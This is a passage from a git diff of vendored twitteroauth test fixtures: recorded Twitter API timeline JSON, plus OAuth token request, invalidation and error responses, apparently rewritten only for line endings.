https:\\\/\\\/t.co\\\/kFzCKybdkD\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/kFzCKybdkD\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1141390793657266176\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1108050885639168000,\"quoted_status_id_str\":\"1108050885639168000\",\"retweet_count\":19,\"favorite_count\":48,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"retweet_count\":82,\"favorite_count\":89,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Jun 12 17:36:26 +0000 2019\",\"id\":1138862637394137093,\"id_str\":\"1138862637394137093\",\"text\":\"Reminder: only 1\\u20e3 week until the rate limit change to user and mentions timeline endpoints will go into effect. If\\u2026 https:\\\/\\\/t.co\\\/JAUtpAZotb\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/JAUtpAZotb\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1138862637394137093\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":38,\"favorite_count\":62,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Jun 11 22:13:27 +0000 2019\",\"id\":1138569964032385025,\"id_str\":\"1138569964032385025\",\"text\":\"Starting July 15, 2019, all connections to the Twitter API (and all other Twitter domains) will require TLS 1.2. Re\\u2026 https:\\\/\\\/t.co\\\/qMtoumuG1e\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/qMtoumuG1e\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1138569964032385025\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":93,\"favorite_count\":114,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Jun 11 18:00:27 +0000 2019\",\"id\":1138506294485168129,\"id_str\":\"1138506294485168129\",\"text\":\"RT @TwitterDev: \\ud83c\\udfba da-dada-DAH! We\\u2019re introducing the first Twitter Developer Labs endpoints: \\n\\n\\u2728GET\\\/users and GET\\\/tweets \\u2728\\n\\nLabs is now ope\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Jun 11 17:59:13 +0000 2019\",\"id\":1138505981460193280,\"id_str\":\"1138505981460193280\",\"text\":\"\\ud83c\\udfba da-dada-DAH! We\\u2019re introducing the first Twitter Developer Labs endpoints: \\n\\n\\u2728GET\\\/users and GET\\\/tweets \\u2728\\n\\nLabs is\\u2026 https:\\\/\\\/t.co\\\/HTpnpwCRMl\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/HTpnpwCRMl\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1138505981460193280\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":105,\"favorite_count\":255,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":105,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"}]" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testOauth2Token.json b/vendor/abraham/twitteroauth/tests/fixtures/testOauth2Token.json index 1f953f05cb..82331b5990 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testOauth2Token.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testOauth2Token.json @@ -1,46 +1,46 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/oauth2\/token", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "Basic YXdKZk5ENHpGR2FwR09GS2Zkamc6TGZrbU5TUlBJWHdrUWtaVUI5RE5XU3p4NUxJYWl2U2tuVjRyeG5nb2pKYw==", - "Expect": null - }, - "body": "grant_type=client_credentials" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "152", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:09 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:09 GMT", - "ml": "A", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_NF00blSG9GZe8w8KpZvUDA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786106988547101; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-connection-hash": "34e2373c53e7f9e0e80fe6af071dd6b8", - "x-content-type-options": "nosniff", - "x-frame-options": "DENY", - "x-response-time": "20", - "x-transaction": "007d4d19009f7a59", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-ua-compatible": "IE=edge,chrome=1", - "x-xss-protection": "0" - }, - "body": "{\"token_type\":\"bearer\",\"access_token\":\"AAAAAAAAAAAAAAAAAAAAAFobAAAAAAAAjPes3FlPiFKh9HaIg%2Fw80waE0s8%3DQqxjhHDgZyjihGIK7olugzbpS0R1Gg8KNhzmer58a6oVbsSGc0\"}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/oauth2\/token", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "Basic YXdKZk5ENHpGR2FwR09GS2Zkamc6TGZrbU5TUlBJWHdrUWtaVUI5RE5XU3p4NUxJYWl2U2tuVjRyeG5nb2pKYw==", + "Expect": null + }, + "body": "grant_type=client_credentials" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "152", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:09 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:09 GMT", + "ml": "A", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_NF00blSG9GZe8w8KpZvUDA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786106988547101; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-connection-hash": "34e2373c53e7f9e0e80fe6af071dd6b8", + "x-content-type-options": "nosniff", + "x-frame-options": "DENY", + "x-response-time": "20", + "x-transaction": "007d4d19009f7a59", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-ua-compatible": "IE=edge,chrome=1", + "x-xss-protection": "0" + }, + "body": "{\"token_type\":\"bearer\",\"access_token\":\"AAAAAAAAAAAAAAAAAAAAAFobAAAAAAAAjPes3FlPiFKh9HaIg%2Fw80waE0s8%3DQqxjhHDgZyjihGIK7olugzbpS0R1Gg8KNhzmer58a6oVbsSGc0\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testOauth2TokenInvalidate.json b/vendor/abraham/twitteroauth/tests/fixtures/testOauth2TokenInvalidate.json index 47bcea05fc..f112d7a5c2 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testOauth2TokenInvalidate.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testOauth2TokenInvalidate.json @@ -1,46 +1,46 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/oauth2\/invalidate_token", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "Basic YXdKZk5ENHpGR2FwR09GS2Zkamc6TGZrbU5TUlBJWHdrUWtaVUI5RE5XU3p4NUxJYWl2U2tuVjRyeG5nb2pKYw==", - "Expect": null - }, - "body": "access_token=AAAAAAAAAAAAAAAAAAAAAFobAAAAAAAAjPes3FlPiFKh9HaIg%2Fw80waE0s8%3DQqxjhHDgZyjihGIK7olugzbpS0R1Gg8KNhzmer58a6oVbsSGc0" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "135", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:10 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:10 GMT", - "ml": "A", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_8Iv+DqoXk8DVAVDoUVltSA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107054950627; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-connection-hash": "18b7327592f746230c1c016c344dd14d", - "x-content-type-options": "nosniff", - "x-frame-options": "DENY", - "x-response-time": "19", - "x-transaction": "00c5257f00b7d371", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-ua-compatible": "IE=edge,chrome=1", - "x-xss-protection": "0" - }, - "body": "{\"access_token\":\"AAAAAAAAAAAAAAAAAAAAAFobAAAAAAAAjPes3FlPiFKh9HaIg%2Fw80waE0s8%3DQqxjhHDgZyjihGIK7olugzbpS0R1Gg8KNhzmer58a6oVbsSGc0\"}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/oauth2\/invalidate_token", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "Basic YXdKZk5ENHpGR2FwR09GS2Zkamc6TGZrbU5TUlBJWHdrUWtaVUI5RE5XU3p4NUxJYWl2U2tuVjRyeG5nb2pKYw==", + "Expect": null + }, + "body": "access_token=AAAAAAAAAAAAAAAAAAAAAFobAAAAAAAAjPes3FlPiFKh9HaIg%2Fw80waE0s8%3DQqxjhHDgZyjihGIK7olugzbpS0R1Gg8KNhzmer58a6oVbsSGc0" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "135", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:10 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:10 GMT", + "ml": "A", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_8Iv+DqoXk8DVAVDoUVltSA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107054950627; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-connection-hash": "18b7327592f746230c1c016c344dd14d", + "x-content-type-options": "nosniff", + "x-frame-options": "DENY", + "x-response-time": "19", + "x-transaction": "00c5257f00b7d371", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-ua-compatible": "IE=edge,chrome=1", + "x-xss-protection": "0" + }, + "body": "{\"access_token\":\"AAAAAAAAAAAAAAAAAAAAAFobAAAAAAAAjPes3FlPiFKh9HaIg%2Fw80waE0s8%3DQqxjhHDgZyjihGIK7olugzbpS0R1Gg8KNhzmer58a6oVbsSGc0\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testOauthAccessTokenTokenException.json b/vendor/abraham/twitteroauth/tests/fixtures/testOauthAccessTokenTokenException.json index 64dbcb0b3d..791d8387fc 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testOauthAccessTokenTokenException.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testOauthAccessTokenTokenException.json @@ -1,45 +1,45 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/oauth\/access_token", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"CE545gAAAAAAABtaAAABcbPlJBQ\", oauth_verifier=\"fake_oauth_verifier\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"0bcdtKs3nffzbE5abwaVjCI1HPw%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "401", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-encoding": "gzip", - "content-length": "93", - "content-security-policy": "default-src 'none'; connect-src 'self'; font-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com data:; frame-src 'self' twitter:; img-src https:\/\/abs.twimg.com https:\/\/*.twimg.com https:\/\/pbs.twimg.com data:; media-src 'none'; object-src 'none'; script-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com https:\/\/twitter.com https:\/\/mobile.twitter.com; style-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=NVQWGYLXFVWG6Z3JNY%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:11 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:11 GMT", - "ml": "A", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_n0ZAgT2oLIc0HI23qMIGCA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107147893563; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "401 Unauthorized", - "strict-transport-security": "max-age=631138519", - "www-authenticate": "OAuth realm=\"https:\/\/api.twitter.com\"", - "x-connection-hash": "90157d4bdfce3a9b90fd408819c767bc", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "41", - "x-transaction": "0080cead006a758d", - "x-twitter-response-tags": "BouncerCompliant", - "x-ua-compatible": "IE=edge,chrome=1", - "x-xss-protection": "0" - }, - "body": "Error processing your OAuth request: Invalid oauth_verifier parameter" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/oauth\/access_token", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"CE545gAAAAAAABtaAAABcbPlJBQ\", oauth_verifier=\"fake_oauth_verifier\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"0bcdtKs3nffzbE5abwaVjCI1HPw%3D\"", + "Expect": null + } + }, + 